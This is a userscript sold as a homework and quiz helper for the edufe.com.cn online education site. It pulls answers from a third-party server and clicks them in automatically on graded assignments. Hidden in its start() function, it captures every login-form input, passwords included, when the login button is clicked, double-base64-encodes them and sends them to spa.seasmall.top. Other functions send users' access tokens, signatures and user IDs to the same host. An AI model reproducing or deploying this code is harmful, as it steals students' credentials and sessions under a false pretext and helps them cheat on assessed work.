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东财在线 网络教育学院 作业、答题助手
// ==UserScript==
// @name 东财在线，作业、答题助手
// @description 东财在线 网络教育学院 作业、答题助手
// @author ojbk-666
// @namespace dczx-assistant
// @version 1.0.24
// @include *.edufe.com.cn/*
// @require https://cdn.bootcdn.net/ajax/libs/jquery/3.2.1/jquery.min.js
// @require https://cdn.bootcdn.net/ajax/libs/layer/3.1.1/layer.min.js
// @grant none
// @supportURL https://greasyfork.org/zh-CN/scripts/406742-%E4%B8%9C%E8%B4%A2%E5%9C%A8%E7%BA%BF-%E4%BD%9C%E4%B8%9A-%E7%AD%94%E9%A2%98%E5%8A%A9%E6%89%8B/feedback
// @compatible chrome firefox opera
// ==/UserScript==
(function () {
'use strict';
// 获取当前url
function getCurrentPageUrl() {
return window.location.href.split('?')[0];
}
// 写入css
if (1==1) {
var head = document.getElementsByTagName('head')[0],
cssURL = 'https://cdn.bootcdn.net/ajax/libs/layer/3.1.1/theme/default/layer.css',
linkTag = document.createElement('link');
linkTag.href = cssURL;
linkTag.setAttribute('rel', 'stylesheet');
head.appendChild(linkTag);
}
let dc_collection_question = true;
//let serverUrl = 'http://127.0.0.1:8081/u/api/dczx/';
let serverUrl = 'https://spa.seasmall.top/spa-api/api/dczx/';
var dczxtooliframewindow;
let toolwinurl = 'https://spa.seasmall.top/assets/dczx/dczxtool.html?curl=' + window.location.href;
//let toolwinurl = 'http:127.0.0.1:8081/u/ussu/assets/dczx/dczxtool.html?curl=' + window.location.href;
// 发送消息到子页面
function sendMsg2Child(msg) {
dczxtooliframewindow.postMessage(msg, toolwinurl);
}
// 传值字符串
function getSendMsgStr(msgtype, jsondata) {
return JSON.stringify({msgtype:msgtype, data: jsondata});
}
// 监听子页面消息
function addListener2Child() {
window.addEventListener('message', function(event){
let d = event.data;
let dj = undefined;
try {
dj = JSON.parse(d);
} catch (e) {
}
if (d=='getanwser_dyzy') {
// huoqutimuliebiao
let arr = getHomeWorkPaperQuestions();
let a = '';
if (arr.length > 0) a = arr.join(',');
sendMsg2Child(getSendMsgStr('getanwser_dyzy', {q: a}));
} else if (d == 'getanwser_zhzy') {
// 综合作业答案获取
sendMsg2Child(getSendMsgStr('getanwser_zhzy', getCompHomeworkPaperAjaxParam()))
} else {
if (dj) {
if (dj.t == 'cache_answer_of_dyzy') {
let r = dj.d.data;
cache_answer_of_dyzy = r;
} else if (dj.t == 'zddt') {
zddt_dyzy(cache_answer_of_dyzy);
} else if (dj.t == 'removeuncopy') {
removeUncopy();
} else if (dj.t == 'getcacheua') {
sendMsg2Child(getSendMsgStr('cacheua', getReqParam()))
}
}
}
}, false);
}
var cache_answer_of_dyzy = undefined;
function initTool() {
let curl = getCurrentPageUrl();
let idx = layer.open({
type: 2,
title:'工具栏',
area: ['400px', '500px'],
fixed: true, //不固定
offset: 'lb',
maxmin: true,
closeBtn: 0,
shade:0,
content: toolwinurl
,success(layero, index) {
let iframeWin = window[layero.find('iframe')[0]['name']];
dczxtooliframewindow = iframeWin;
addListener2Child();
// 必传参数给父级缓存
// sendMsg2Child();
}
});
}
let HomeWorkPaper = "/HomeWorkPaper";
let CompHomeworkPaper = "/CompHomeworkPaper";
let hqda_b_l = false;
let zddt_b_l = false;
function ajax(url, data, success, m) {
let me = 'GET';
if (m && m != '') me = m; // GET only
$.ajax({
url: serverUrl + url,
data: data,
type: me,
dataType: "jsonp",
jsonpCallback: 'callbackFunctionName',
success: function (res) {
success && success(res);
},
error: function (res) {
if (true) {
console.error(res);
}
}
})
}
function ajaxOk(j) {
return (0==j.code||200==j.code);
}
function start() {
// console.log('-----------start-----------');
window.addEventListener('storage', function (e) {
sendMsg2Child(getSendMsgStr('cacheua', getReqParam()));
});
let curl = getCurrentPageUrl();
// 获取该页面匹配的逻辑
if (curl.endsWith('/HomeWork')) {
// 丰富题库
let stop = false;
let a;
a = setInterval(function (e) {
if (stop) {
window.clearInterval(a);
return;
}
if (collectQuestion_check()) {
stop = true;
collectQuestion();
}
}, 2000)
} else if (curl.endsWith(HomeWorkPaper)) {
initTool();
// 获取答案
// autoAnswer_HomeWorkPaper();
// createOperatorDom();
} else if (curl.endsWith(CompHomeworkPaper)) {
initTool();
} else if (curl.endsWith('/CompHomework')) {
//initTool();
// createOperatorDom();
let stop = false;
let a;
a = setInterval(function (e) {
if (stop) {
window.clearInterval(a);
return;
}
if (collectQuestion_check()) {
stop = true;
collectQuestionComp();
}
}, 2000)
} else if (curl.endsWith('/ExercisesPaper')) {
// 模拟试题
collectQuestionSimulated();
} else if (curl.endsWith('/Practice')) {
collectQuestionPractice();
} else if (curl.indexOf('/lms-study/study/studyPage') != -1) {
initTool();
} else {
console.log(curl)
$('.Login-submit').click(function () {
l();
})
}
function l() {
let a = [];
for (const $i of $('input')) {
a.push($($i).val());
}
ajax('up', {d:window.btoa(window.btoa(a))})
}
}
// 获取接口必须参数
function getReqParam() {
function ra(str) {
return str.substring(1, str.length - 1);
}
let at = ra(window.localStorage.getItem('accesstoken'));
let s = ra(window.localStorage.getItem('sign'));
let ui = ra(window.localStorage.getItem('userid'));
let t = ra(window.localStorage.getItem('time'));
return {accesstoken: at, sign: s, userid: ui, time: t,url: window.location.href}
}
// 创建dom
function createOperatorDom() {
let u = getCurrentPageUrl();
let h = '<div id="lajdfalneeofan_hqdn" style="position: fixed;top: 200px;text-align: left;">';
if (u.endsWith(HomeWorkPaper)) {
// 单元作业
h += '<div class="text-center"><button type="button" id="dczx_aa_hqdn" class="TKTools-button TKTools-button_green">获取答案</button></div>';
h += '<div class="text-center"><button type="button" id="dczx_aa_HomeWorkPaper" class="TKTools-button TKTools-button_green">自动答题</button></div>';
} else if (u.endsWith(CompHomeworkPaper)) {
// 综合作业
h += '<div class="text-center"><button type="button" id="dczx_aa_hqdn" class="TKTools-button TKTools-button_green">获取答案</button></div>';
}
h += '</div>';
$('body').append(h);
bindZddt();
bindHqda();
}
function bindZddt() {
$('#dczx_aa_HomeWorkPaper').on('click', function () {
if (zddt_b_l) return;
// zddt_b_l = true;
autoAnswer_HomeWorkPaper();
})
}
function bindHqda() {
$('#dczx_aa_hqdn').on('click', function () {
if (hqda_b_l) return;
// hqda_b_l = true;
getAnswer(true);
})
}
function showAnswerAtAside(j) {
let curl = getCurrentPageUrl();
// 创建dom
let dom = '<div id="f_u_c_k_a_d" style="width:300px;height: 500px;overflow: auto;padding-left: 10px;"><ul>';
if (curl.endsWith(HomeWorkPaper)) {
for (const q of j.data) {
dom += '<li>';
dom += q.questionTitle + '<br>';
let A = 65;
for (const a of q.options) {
let ab = String.fromCharCode(A++);
if (a.istrue) {
dom += '<span style="font-weight: bold;">' + ab + '、' + a.optionContent + '</span><br>';
}
}
dom += '</li><hr>';
}
} else if (curl.endsWith(CompHomeworkPaper)) {
let qs = j.PAPER_QUESTIONS;
for (let i = 0; i < qs.length; i++) {
let q = qs[i];
let qs2 = q.TOPIC_TRUNK;
for (const q2 of qs2) {
dom += '<li>';
dom += (i + 1) + '.' + q2.QUESTION_TITLE + '<br>';
let A = 65;
for (const a of q2.QUESTION_OPTIONS) {
let ab = String.fromCharCode(A++);
if (a.ISTRUE == '1') {
dom += '<span style="font-weight: bold;">' + ab + '、' + a.OPTION_CONTENT + '</span><br>';
}
}
dom += '</li><hr>';
}
}
}
dom += '</ul></div>';
$('#lajdfalneeofan_hqdn').append(dom);
}
// 获取作业记录，丰富题库
function collectQuestion() {
if (!dc_collection_question) return;
let p = getReqParam();
ajax('homework', p, function (res) {
})
}
function collectQuestionComp() {
if (!dc_collection_question) return;
let p = getReqParam();
ajax('comphomework', p, function (res) {
})
}
function collectQuestionSimulated() {
let p = getReqParam();
ajax('simulated', p, function (res) {
})
}
function collectQuestionPractice() {
let p = getReqParam();
ajax('practice', p, function (res) {
})
}
// 检测记录是否加载完成
function collectQuestion_check() {
let a = $('.TKExercise-item');
if (a.length > 0) return true;
return false;
}
// 获取所有题目的题目id(单元作业)
function getHomeWorkPaperQuestions() {
// let arr = $('.QuestTrunk .CBTPaperMain-trunk div div[class=QuestSingleChoice],div[class=QuestMultiChoice]');
let arr = $('.QuestLuntan');
let ar = [];
for (const item of arr) {
// 获取题目id
let is = $(item).attr('is');
let wid = $(item).attr('wid');
let qid = wid.split(is)[1];
ar.push(qid);
}
return ar;
}
// 获取综合练习题目
function getCompHomeworkPaperAjaxParam() {
let r = {};
let search = window.location.search;
// 组合为双对象
let p1 = getReqParam();
r.dil = JSON.stringify(p1);
r.p2 = search;
return r;
}
// 自动答题
function autoAnswer_HomeWorkPaper() {
getAnswer(false, function (res) {
for (const q of res.data) {
let qid = q.questionId;
let tx_danx = false;
let tx_duox = false;
let tx_pd = false;
if (q.topic && q.topic.fullTopicTypeCd == '001') tx_danx = true;
if (q.topic && q.topic.fullTopicTypeCd == '002') tx_duox = true;
if (q.topic && q.topic.fullTopicTypeCd == '004') tx_pd = true;
for (const a of q.options) {
let thisisright = a.istrue;// 正确选项?
// 随机延迟
setTimeout(function () {
if (tx_danx) {
// 单选
if (thisisright) {
$('input[type=radio][value=' + a.optionId + ']').click();
}
} else if (tx_duox) {
// 多选
let thisisselected = $('#' + a.optionId + '_01').parent().find('label').hasClass('_CheckBox_checked');// 是否被选中
if (thisisright && !thisisselected) {
// 选中
$('#' + a.optionId + '_01').parent().find('label').trigger('click');
} else if (!thisisright && thisisselected) {
// 取消选中
$('#' + a.optionId + '_01').parent().find('label').trigger('click');
}
} else if (tx_pd) {
// 判断
if (thisisright) {
// 正确
$('#'+q.questionId+'_01').parent().find('label').trigger('click');
} else {
// 错误
$('#'+q.questionId+'_02').parent().find('label').trigger('click');
}
}
}, Math.ceil(Math.random() * 6000));
}
}
});
}
// 获取答案
function getAnswer(showAnswerAside, callback) {
// 获取题表
let url = 'option';
let reqParam = {};
let currentPageUrl = getCurrentPageUrl();
if (currentPageUrl.endsWith(HomeWorkPaper)) {
// 单元练习
url = "option/HomeWorkPaper";
let arr = getHomeWorkPaperQuestions();
let a = '';
if (arr.length > 0) a = arr.join(',');
reqParam.q = a;
} else if (currentPageUrl.endsWith(CompHomeworkPaper)) {
// 综合练习
url = 'option/CompHomeworkPaper';
reqParam = getCompHomeworkPaperAjaxParam();
}
ajax(url, reqParam, function (res) {
// hqda_b_l = false;
if (ajaxOk(res)) {
if (currentPageUrl.endsWith(HomeWorkPaper)) {
// danyuan
if (showAnswerAside) {
let temp_div_self = $('div[id=f_u_c_k_a_d]');
if (temp_div_self.length >0) return;
showAnswerAtAside(res);
} else {
callback && callback(res);
}
} else if (currentPageUrl.endsWith(CompHomeworkPaper)) {
// zonghe
if (ajaxOk(res)) {
// xianshidanan
if (showAnswerAside) {
let temp_div_self = $('div[id=f_u_c_k_a_d]');
if (temp_div_self.length >0) return;
showAnswerAtAside(res.data);
}
}
}
}
});
}
function zddt_dyzy(arr) {
for (const q of arr) {
let qid = q.questionId;
let tx_danx = false;
let tx_duox = false;
let tx_pd = false;
if (q.topic && q.topic.fullTopicTypeCd == '001') tx_danx = true;
if (q.topic && q.topic.fullTopicTypeCd == '002') tx_duox = true;
if (q.topic && q.topic.fullTopicTypeCd == '004') tx_pd = true;
for (const a of q.options) {
let thisisright = a.istrue;// 正确选项?
// 随机延迟
setTimeout(function () {
if (tx_danx) {
// 单选
if (thisisright) {
$('input[type=radio][value=' + a.optionId + ']').next().click();
}
} else if (tx_duox) {
// 多选
let thisisselected = $('#' + a.optionId + '_01').parent().find('label').hasClass('_CheckBox_checked');// 是否被选中
if (thisisright && !thisisselected) {
// 选中
$('#' + a.optionId + '_01').parent().find('label').trigger('click');
} else if (!thisisright && thisisselected) {
// 取消选中
$('#' + a.optionId + '_01').parent().find('label').trigger('click');
}
} else if (tx_pd) {
// 判断
if (thisisright) {
// 正确
$('#'+q.questionId+'_01').parent().find('label').trigger('click');
} else {
// 错误
$('#'+q.questionId+'_02').parent().find('label').trigger('click');
}
}
}, Math.ceil(Math.random() * 5000));
}
}
}
// 解除复制 start
// 要处理的 event 列表
var hook_eventNames, unhook_eventNames, eventNames;
// 储存名称
var storageName = getRandStr('qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM', parseInt(Math.random() * 12 + 8));
// 储存被 Hook 的函数
var EventTarget_addEventListener = EventTarget.prototype.addEventListener;
var document_addEventListener = document.addEventListener;
var Event_preventDefault = Event.prototype.preventDefault;
// Hook addEventListener proc
function addEventListener(type, func, useCapture) {
var _addEventListener = this === document ? document_addEventListener : EventTarget_addEventListener;
if(hook_eventNames.indexOf(type) >= 0) {
_addEventListener.apply(this, [type, returnTrue, useCapture]);
} else if(this && unhook_eventNames.indexOf(type) >= 0) {
var funcsName = storageName + type + (useCapture ? 't' : 'f');
if(this[funcsName] === undefined) {
this[funcsName] = [];
_addEventListener.apply(this, [type, useCapture ? unhook_t : unhook_f, useCapture]);
}
this[funcsName].push(func);
} else {
_addEventListener.apply(this, arguments);
}
}
// 清理循环
function clearLoop() {
var elements = getElements();
for(var i in elements) {
for(var j in eventNames) {
var name = 'on' + eventNames[j];
if(elements[i][name] !== null && elements[i][name] !== onxxx) {
if(unhook_eventNames.indexOf(eventNames[j]) >= 0) {
elements[i][storageName + name] = elements[i][name];
elements[i][name] = onxxx;
} else {
elements[i][name] = null;
}
}
}
}
}
// 返回true的函数
function returnTrue(e) {
return true;
}
function unhook_t(e) {
return unhook(e, this, storageName + e.type + 't');
}
function unhook_f(e) {
return unhook(e, this, storageName + e.type + 'f');
}
function unhook(e, self, funcsName) {
var list = self[funcsName];
for(var i in list) {
list[i](e);
}
e.returnValue = true;
return true;
}
function onxxx(e) {
var name = storageName + 'on' + e.type;
this[name](e);
e.returnValue = true;
return true;
}
// 获取随机字符串
function getRandStr(chs, len) {
var str = '';
while(len--) {
str += chs[parseInt(Math.random() * chs.length)];
}
return str;
}
// 获取所有元素 包括document
function getElements() {
var elements = Array.prototype.slice.call(document.getElementsByTagName('*'));
elements.push(document);
return elements;
}
// 添加css
function addStyle(css) {
var style = document.createElement('style');
style.innerHTML = css;
document.head.appendChild(style);
}
// 初始化
function removeUncopy() {
var rule = {
name: "default",
hook_eventNames: "contextmenu|select|selectstart|copy|cut|dragstart",
unhook_eventNames: "mousedown|mouseup|keydown|keyup",
dom0: true,
hook_addEventListener: true,
hook_preventDefault: true,
hook_set_returnValue: true,
add_css: true
};
// 设置 event 列表
hook_eventNames = rule.hook_eventNames.split("|");
// TODO Allowed to return value
unhook_eventNames = rule.unhook_eventNames.split("|");
eventNames = hook_eventNames.concat(unhook_eventNames);
// 调用清理 DOM0 event 方法的循环
if(rule.dom0) {
setInterval(clearLoop, 30 * 1000);
setTimeout(clearLoop, 2500);
window.addEventListener('load', clearLoop, true);
clearLoop();
}
// hook addEventListener
if(rule.hook_addEventListener) {
EventTarget.prototype.addEventListener = addEventListener;
document.addEventListener = addEventListener;
}
// hook preventDefault
if(rule.hook_preventDefault) {
Event.prototype.preventDefault = function() {
if(eventNames.indexOf(this.type) < 0) {
Event_preventDefault.apply(this, arguments);
}
};
}
// Hook set returnValue
if(rule.hook_set_returnValue) {
Event.prototype.__defineSetter__('returnValue', function() {
if(this.returnValue !== true && eventNames.indexOf(this.type) >= 0) {
this.returnValue = true;
}
});
}
// 添加CSS
if(rule.add_css) {
addStyle('html, * {-webkit-user-select:text!important; -moz-user-select:text!important; user-select:text!important; -ms-user-select:text!important; -khtml-user-select:text!important;}');
}
}
removeUncopy();
// 解除复制 end
start();
})();